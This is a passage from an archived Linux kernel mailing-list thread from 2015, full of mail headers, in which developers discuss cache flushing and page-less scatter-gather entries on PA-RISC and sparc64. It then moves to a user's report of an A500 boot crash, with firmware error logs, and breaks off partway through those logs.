        b=h3gBVMzomFXURFaINghXyy7klsjFshQClHLeTCV1ANarytaNen9I3ZXl9PSnROfK77
         Pp+r8g5xSZo8V6EmZDMKgR8/Kxk+EO6iF3YgzVZbgU3zp+zFD7DdmspxcQy0IUSTm6Vs
         3gSVy1OnIk+Ztep9ThpQ3tUCdJDbtmwWonQnW1Eez0TWUOyxaSBVsDDXPyS6w2DVj1Ds
         4UH19/pmntR9kJB6jsp1/nlwCav+ULT8yJ1owPjMTDi8zFwhMKxETSA3/cxDkBkqHrxt
         M6ykYT7Vhj+K9LEutaFk2hyt0AQTz21zrII/lTA1YMwKE3q6Ad44Jbj2xeWN9miEeFin
         LBBg==
X-Received: by 10.50.64.244 with SMTP id r20mr30317522igs.33.1439509250185;
 Thu, 13 Aug 2015 16:40:50 -0700 (PDT)
Original-Received: by 10.79.18.132 with HTTP; Thu, 13 Aug 2015 16:40:30 -0700 (PDT)
In-Reply-To: <20150813143528.GC17183@lst.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28894 gmane.linux.ports.mips.general:50028 gmane.linux.ports.ia64:25735 gmane.linux.ports.sparc:21450 gmane.linux.kernel.metag:631 gmane.linux.ports.parisc:25954 gmane.linux.kernel:2020089 gmane.linux.ports.alpha:3332 gmane.linux.drivers.video-input-infrastructure:94026 gmane.linux.ports.ppc64.devel:116882
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28894>

Hi Christoph,

On Fri, Aug 14, 2015 at 12:35 AM, Christoph Hellwig <hch@lst.de> wrote:
> On Thu, Aug 13, 2015 at 09:37:37AM +1000, Julian Calaby wrote:
>> I.e. ~90% of this patch set seems to be just mechanically dropping
>> BUG_ON()s and converting open coded stuff to use accessor functions
>> (which should be macros or get inlined, right?) - and the remaining
>> bit is not flushing if we don't have a physical page somewhere.
>
> Which is was 90%.  By lines changed most actually is the diffs for
> the cache flushing.

I was talking in terms of changes made, not lines changed: by my
recollection, about a third of the patches didn't touch flush calls
and most of the lines changed looked like refactoring so that making
the flush call conditional would be easier.

I guess it smelled like you were doing lots of distinct changes in a
single patch and I got my numbers wrong.

>> Would it make sense to split this patch set into a few bits: one to
>> drop all the useless BUG_ON()s, one to convert all the open coded
>> stuff to accessor functions, then another to do the actual page-less
>> sg stuff?
>
> Without the ifs the BUG_ON() actually are useful to assert we
> never feed the sort of physical addresses we can't otherwise support,
> so I don't think that part is doable.

My point is that there's a couple of patches that only remove
BUG_ON()s, which implies that for that particular driver it doesn't
matter if there's a physical page or not, so therefore that code is
purely "documentation".

Thanks,

-- 
Julian Calaby

Email: julian.calaby@gmail.com
Profile: http://www.google.com/profiles/julian.calaby/

From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dan Williams <dan.j.williams@intel.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 29/31] parisc: handle page-less SG entries
Date: Thu, 13 Aug 2015 20:30:49 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <CAA9_cmcNA__N_yVTKsEqLAKBuoL-hx73t6opdsmb7w-0qKXaWg@mail.gmail.com>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
	<1439363150-8661-30-git-send-email-hch@lst.de>
	<CA+55aFxsH9Lde7wqZi555vqfH2uxeQqC9cjeca9L6Wr=XpyzXA@mail.gmail.com>
	<20150813143150.GA17183@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439523065 31702 80.91.229.3 (14 Aug 2015 03:31:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Aug 2015 03:31:05 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-mips <linux-mips@linux-mips.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-nvdimm@lists.01.org" <linux-nvdimm@ml01.01.org>,
	David Howells <dhowells@redhat.com>,
	sparclinux@vger.kernel.org,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	"the arch/x86 maintainers" <x86@kernel.org>,
	David Woodhouse <dwmw2@infradead.org>,
	=?UTF-8?Q?H=C3=A5vard_Skinnemoen?= <hskinnemoen@gmail.com>,
	linux-xtensa@linux-xtensa.org, grundler@parisc-linux.org,
	Miao Steven <realmz6@gmail.com>,
	Alex Williamson <alex.williamson@redhat.com>,
	linux-metag@vger.kernel.org, Jens Axboe <axboe@kernel.dk>,
	Michal Simek <monstr@monstr.eu>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Vineet Gupta <vgupta@synopsys.com>,
	Linux Ker
To: Christoph Hellwig <hch@lst.de>
Original-X-From: sparclinux-owner@vger.kernel.org Fri Aug 14 05:30:57 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZQ5ho-0005Xv-Iw
	for lnx-sparclinux@plane.gmane.org; Fri, 14 Aug 2015 05:30:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932386AbbHNDaz (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Thu, 13 Aug 2015 23:30:55 -0400
Original-Received: from mail-io0-f172.google.com ([209.85.223.172]:35997 "EHLO
	mail-io0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932081AbbHNDav (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Thu, 13 Aug 2015 23:30:51 -0400
Original-Received: by iodv127 with SMTP id v127so56971598iod.3;
        Thu, 13 Aug 2015 20:30:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=bjXLH5/e3N/AsOZUEYEZobHeJmOkpGKb2isa0VQp1k8=;
        b=KeY49bDDQPWnDw82TrEBfw/p5mccAACHCoAJp7JGLdm5aHqsmEHLJdHQhjDXPe28tD
         LgAj/6MQVwc38L8KAlqJvxxedBrC0QWjT/Aqlaun8xPnZWfCfbcp0/aob+naoru+YyaW
         yZmsebi/RvW+miRpWxDEHekr9+3er50T7r0JMOfy4MmX13ipo4vY59Ar9tJ9ZN6RXKoe
         CN2UfoBPA/K5EBwvmHAiVBkHB5kLCr/a44CCQRLK7rWLvj+7jS74iD61PCaTZOJiGnrZ
         virePPAUPke2RTlr6JIGt13fDKY4DTeaVHubIyNLWySUgi2OSMsFlfIxvbq6wUmrpS6v
         gXaQ==
X-Received: by 10.107.25.4 with SMTP id 4mr35917600ioz.168.1439523050260; Thu,
 13 Aug 2015 20:30:50 -0700 (PDT)
Original-Received: by 10.107.20.1 with HTTP; Thu, 13 Aug 2015 20:30:49 -0700 (PDT)
In-Reply-To: <20150813143150.GA17183@lst.de>
X-Google-Sender-Auth: epu66dX39aESb2z3-1Y3WUDi2xs
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21451 gmane.linux.ports.mips.general:50029 gmane.linux.ports.ia64:25736 gmane.linux.kernel.cross-arch:28895 gmane.linux.kernel.metag:632 gmane.linux.ports.parisc:25955 gmane.linux.kernel:2020165 gmane.linux.ports.alpha:3333 gmane.linux.drivers.video-input-infrastructure:94031 gmane.linux.ports.ppc64.devel:116897
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21451>

On Thu, Aug 13, 2015 at 7:31 AM, Christoph Hellwig <hch@lst.de> wrote:
> On Wed, Aug 12, 2015 at 09:01:02AM -0700, Linus Torvalds wrote:
>> I'm assuming that anybody who wants to use the page-less
>> scatter-gather lists always does so on memory that isn't actually
>> virtually mapped at all, or only does so on sane architectures that
>> are cache coherent at a physical level, but I'd like that assumption
>> *documented* somewhere.
>
> It's temporarily mapped by kmap-like helpers.  That code isn't in
> this series. The most recent version of it is here:
>
> https://git.kernel.org/cgit/linux/kernel/git/djbw/nvdimm.git/commit/?h=pfn&id=de8237c99fdb4352be2193f3a7610e902b9bb2f0
>
> note that it's not doing the cache flushing it would have to do yet, but
> it's also only enabled for x86 at the moment.

For virtually tagged caches I assume we would temporarily map with
kmap_atomic_pfn_t(), similar to how drm_clflush_pages() implements
powerpc support.  However with DAX we could end up with multiple
virtual aliases for a page-less pfn.
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 29/31] parisc: handle page-less SG entries
Date: Thu, 13 Aug 2015 20:59:20 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <1439524760.8421.23.camel@HansenPartnership.com>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
	 <1439363150-8661-30-git-send-email-hch@lst.de>
	 <CA+55aFxsH9Lde7wqZi555vqfH2uxeQqC9cjeca9L6Wr=XpyzXA@mail.gmail.com>
	 <20150813143150.GA17183@lst.de>
	 <CAA9_cmcNA__N_yVTKsEqLAKBuoL-hx73t6opdsmb7w-0qKXaWg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1439524776 21925 80.91.229.3 (14 Aug 2015 03:59:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Aug 2015 03:59:36 +0000 (UTC)
Cc: Christoph Hellwig <hch@lst.de>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-mips <linux-mips@linux-mips.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-nvdimm@lists.01.org" <linux-nvdimm@ml01.01.org>,
	David Howells <dhowells@redhat.com>,
	sparclinux@vger.kernel.org,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	the arch/x86 maintainers <x86@kernel.org>,
	David Woodhouse <dwmw2@infradead.org>,
	=?ISO-8859-1?Q?H=E5vard?= Skinnemoen <hskinnemoen@gmail.com>,
	linux-xtensa@linux-xtensa.org, grundler@parisc-linux.org,
	Miao Steven <realmz6@gmail.com>,
	Alex Williamson <alex.williamson@redhat.com>,
	linux-metag@vger.kernel.org, Jens Axboe <axboe@kernel.dk>,
	Michal Simek <monstr@monstr.eu>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Vineet Gupta
To: Dan Williams <dan.j.williams@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 14 05:59:32 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZQ69R-00089g-Eu
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Aug 2015 05:59:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932376AbbHND71 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 13 Aug 2015 23:59:27 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57954 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753347AbbHND7Y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 13 Aug 2015 23:59:24 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 2BDFD8EE0D8;
	Thu, 13 Aug 2015 20:59:23 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id zubW3f-MZEPL; Thu, 13 Aug 2015 20:59:22 -0700 (PDT)
Original-Received: from [153.66.254.242] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id B8E298EE0CF;
	Thu, 13 Aug 2015 20:59:21 -0700 (PDT)
In-Reply-To: <CAA9_cmcNA__N_yVTKsEqLAKBuoL-hx73t6opdsmb7w-0qKXaWg@mail.gmail.com>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25956 gmane.linux.ports.mips.general:50030 gmane.linux.ports.ia64:25737 gmane.linux.ports.sparc:21452 gmane.linux.kernel.cross-arch:28896 gmane.linux.kernel.metag:633 gmane.linux.kernel:2020168 gmane.linux.ports.alpha:3334 gmane.linux.drivers.video-input-infrastructure:94032 gmane.linux.ports.ppc64.devel:116902
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25956>

On Thu, 2015-08-13 at 20:30 -0700, Dan Williams wrote:
> On Thu, Aug 13, 2015 at 7:31 AM, Christoph Hellwig <hch@lst.de> wrote:
> > On Wed, Aug 12, 2015 at 09:01:02AM -0700, Linus Torvalds wrote:
> >> I'm assuming that anybody who wants to use the page-less
> >> scatter-gather lists always does so on memory that isn't actually
> >> virtually mapped at all, or only does so on sane architectures that
> >> are cache coherent at a physical level, but I'd like that assumption
> >> *documented* somewhere.
> >
> > It's temporarily mapped by kmap-like helpers.  That code isn't in
> > this series. The most recent version of it is here:
> >
> > https://git.kernel.org/cgit/linux/kernel/git/djbw/nvdimm.git/commit/?h=pfn&id=de8237c99fdb4352be2193f3a7610e902b9bb2f0
> >
> > note that it's not doing the cache flushing it would have to do yet, but
> > it's also only enabled for x86 at the moment.
> 
> For virtually tagged caches I assume we would temporarily map with
> kmap_atomic_pfn_t(), similar to how drm_clflush_pages() implements
> powerpc support.  However with DAX we could end up with multiple
> virtual aliases for a page-less pfn.

At least on some PA architectures, you have to be very careful.
Improperly managed, multiple aliases will cause the system to crash
(actually a machine check in the cache chequerboard). For the most
temperamental systems, we need the cache line flushed and the alias
mapping ejected from the TLB cache before we access the same page at an
inequivalent alias.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 29/31] parisc: handle page-less SG entries
Date: Thu, 13 Aug 2015 21:11:55 -0700 (PDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <20150813.211155.1774898831276303437.davem@davemloft.net>
References: <20150813143150.GA17183@lst.de>
	<CAA9_cmcNA__N_yVTKsEqLAKBuoL-hx73t6opdsmb7w-0qKXaWg@mail.gmail.com>
	<1439524760.8421.23.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1439525533 32394 80.91.229.3 (14 Aug 2015 04:12:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Aug 2015 04:12:13 +0000 (UTC)
Cc: dan.j.williams@intel.com, hch@lst.de,
	torvalds@linux-foundation.org, linux-mips@linux-mips.org,
	linux-ia64@vger.kernel.org, linux-nvdimm@ml01.01.org,
	dhowells@redhat.com, sparclinux@vger.kernel.org,
	egtvedt@samfundet.no, linux-arch@vger.kernel.org,
	linux-s390@vger.kernel.org, x86@kernel.org, dwmw2@infradead.org,
	hskinnemoen@gmail.com, linux-xtensa@linux-xtensa.org,
	grundler@parisc-linux.org, realmz6@gmail.com,
	alex.williamson@redhat.com, linux-metag@vger.kernel.org,
	axboe@kernel.dk, monstr@monstr.eu, linux-parisc@vger.kernel.org,
	vgupta@synopsys.com, linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-media@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Aug 14 06:12:02 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZQ6LZ-00015K-Hc
	for lnx-linux-alpha@plane.gmane.org; Fri, 14 Aug 2015 06:12:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751027AbbHNEMA (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Fri, 14 Aug 2015 00:12:00 -0400
Original-Received: from shards.monkeyblade.net ([149.20.54.216]:41284 "EHLO
	shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750728AbbHNEL7 (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Fri, 14 Aug 2015 00:11:59 -0400
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
	(Authenticated sender: davem-davemloft)
	by shards.monkeyblade.net (Postfix) with ESMTPSA id A1B1558C211;
	Thu, 13 Aug 2015 21:11:57 -0700 (PDT)
In-Reply-To: <1439524760.8421.23.camel@HansenPartnership.com>
X-Mailer: Mew version 6.6 on Emacs 24.5 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Thu, 13 Aug 2015 21:11:58 -0700 (PDT)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3335 gmane.linux.ports.mips.general:50031 gmane.linux.ports.ia64:25738 gmane.linux.ports.sparc:21453 gmane.linux.kernel.cross-arch:28897 gmane.linux.kernel.metag:634 gmane.linux.ports.parisc:25957 gmane.linux.kernel:2020171 gmane.linux.drivers.video-input-infrastructure:94033 gmane.linux.ports.ppc64.devel:116903
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3335>

From: James Bottomley <James.Bottomley@HansenPartnership.com>
Date: Thu, 13 Aug 2015 20:59:20 -0700

> On Thu, 2015-08-13 at 20:30 -0700, Dan Williams wrote:
>> On Thu, Aug 13, 2015 at 7:31 AM, Christoph Hellwig <hch@lst.de> wrote:
>> > On Wed, Aug 12, 2015 at 09:01:02AM -0700, Linus Torvalds wrote:
>> >> I'm assuming that anybody who wants to use the page-less
>> >> scatter-gather lists always does so on memory that isn't actually
>> >> virtually mapped at all, or only does so on sane architectures that
>> >> are cache coherent at a physical level, but I'd like that assumption
>> >> *documented* somewhere.
>> >
>> > It's temporarily mapped by kmap-like helpers.  That code isn't in
>> > this series. The most recent version of it is here:
>> >
>> > https://git.kernel.org/cgit/linux/kernel/git/djbw/nvdimm.git/commit/?h=pfn&id=de8237c99fdb4352be2193f3a7610e902b9bb2f0
>> >
>> > note that it's not doing the cache flushing it would have to do yet, but
>> > it's also only enabled for x86 at the moment.
>> 
>> For virtually tagged caches I assume we would temporarily map with
>> kmap_atomic_pfn_t(), similar to how drm_clflush_pages() implements
>> powerpc support.  However with DAX we could end up with multiple
>> virtual aliases for a page-less pfn.
> 
> At least on some PA architectures, you have to be very careful.
> Improperly managed, multiple aliases will cause the system to crash
> (actually a machine check in the cache chequerboard). For the most
> temperamental systems, we need the cache line flushed and the alias
> mapping ejected from the TLB cache before we access the same page at an
> inequivalent alias.

Also, I want to mention that on sparc64 we manage the cache aliasing
state in the page struct.

Until a page is mapped into userspace, we just record the most recent
cpu to store into that page with kernel side mappings.  Once the page
ends up being mapped or the cpu doing kernel side stores changes, we
actually perform the cache flush.

Generally speaking, I think that all actual physical memory the kernel
operates on should have a struct page backing it.  So this whole
discussion of operating on physical memory in scatter lists without
backing page structs feels really foreign to me.
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Fri, 14 Aug 2015 09:35:56 +0300 (EEST)
Lines: 259
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1508140922300.2428@math.ut.ee>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee> <BLU437-SMTP22FDC655D41AF9BCB78508977D0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1439534166 24812 80.91.229.3 (14 Aug 2015 06:36:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Aug 2015 06:36:06 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 14 08:35:49 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZQ8ai-0000OM-72
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Aug 2015 08:35:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751587AbbHNGfm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Aug 2015 02:35:42 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:34708 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751255AbbHNGfm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Aug 2015 02:35:42 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 97BDE73E85A;
	Fri, 14 Aug 2015 09:35:39 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 074BA2212F8; Fri, 14 Aug 2015 09:35:56 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id F1850220E9A;
	Fri, 14 Aug 2015 09:35:56 +0300 (EEST)
In-Reply-To: <BLU437-SMTP22FDC655D41AF9BCB78508977D0@phx.gbl>
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25958
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25958>

> > Tried 4.2.0-rc3-00246-g763e326 on A500 but it crashes on boot. This is 
> > still present in todays 4.2.0-rc6+git. 4.1 was fine, I Will bisect but 
> > it takes time.
> 
> This is probably a hpmc.  Could you look at SL event log?  It should show address of
> the hpmc.  Then, look at kernel image with objdump and search for address.  This should
> show where crash occurred and it might give a clue as to the cause.

SL errors from last boot that failed are below - how can I decode it 
further, I find no addresses here? All these errors only happen on 
problematic boot, none of these happen on 4.1.0 boot.

Log Entry #   0 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:18
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 8 = I/O 
SOURCE DETAIL: 6 = disk   SOURCE ID: 0
PROBLEM DETAIL: 3 = functional failure

CALLER ACTIVITY: 6 = machine check   STATUS: 0
CALLER SUBACTIVITY: 20 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x0000002386006200 00000000 00000000 type  0 = Data Field Unused
0x5800082386006200 00007307 0E052412 type 11 = Timestamp 08/14/2015 05:36:18


Log Entry #   1 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:18
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 8 = I/O 
SOURCE DETAIL: 9 = serial   SOURCE ID: 0
PROBLEM DETAIL: 3 = functional failure

CALLER ACTIVITY: 6 = machine check   STATUS: 0
CALLER SUBACTIVITY: 20 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x0000002389006200 00000000 00000000 type  0 = Data Field Unused
0x5800082389006200 00007307 0E052412 type 11 = Timestamp 08/14/2015 05:36:18

Log Entry #   2 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:17
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 8 = I/O 
SOURCE DETAIL: 2 = system bus adapter   SOURCE ID: 6
PROBLEM DETAIL: 3 = function failure

CALLER ACTIVITY: 6 = machine check   STATUS: 3
CALLER SUBACTIVITY: 34 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x7000002382066343 00000000 00070200 type 14 = Problem Detail
0x5800082382066343 00007307 0E052411 type 11 = Timestamp 08/14/2015 05:36:17


Log Entry #   3 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:17
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 8 = I/O 
SOURCE DETAIL: 2 = system bus adapter   SOURCE ID: 4
PROBLEM DETAIL: 3 = function failure

CALLER ACTIVITY: 6 = machine check   STATUS: 3
CALLER SUBACTIVITY: 34 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x7000002382046343 00000000 00070200 type 14 = Problem Detail
0x5800082382046343 00007307 0E052411 type 11 = Timestamp 08/14/2015 05:36:17


Log Entry #   4 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:17
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 8 = I/O 
SOURCE DETAIL: 2 = system bus adapter   SOURCE ID: 2
PROBLEM DETAIL: 3 = function failure

CALLER ACTIVITY: 6 = machine check   STATUS: 3
CALLER SUBACTIVITY: 34 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x7000002382026343 00000000 00070200 type 14 = Problem Detail
0x5800082382026343 00007307 0E052411 type 11 = Timestamp 08/14/2015 05:36:17


Log Entry #   5 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:17
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 8 = I/O 
SOURCE DETAIL: 2 = system bus adapter   SOURCE ID: 0
PROBLEM DETAIL: 3 = function failure

CALLER ACTIVITY: 6 = machine check   STATUS: 3
CALLER SUBACTIVITY: 34 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x7000002382006343 00000000 00070200 type 14 = Problem Detail
0x5800082382006343 00007307 0E052411 type 11 = Timestamp 08/14/2015 05:36:17



Log Entry #   6 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:17
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 0 = unknown, no source stated
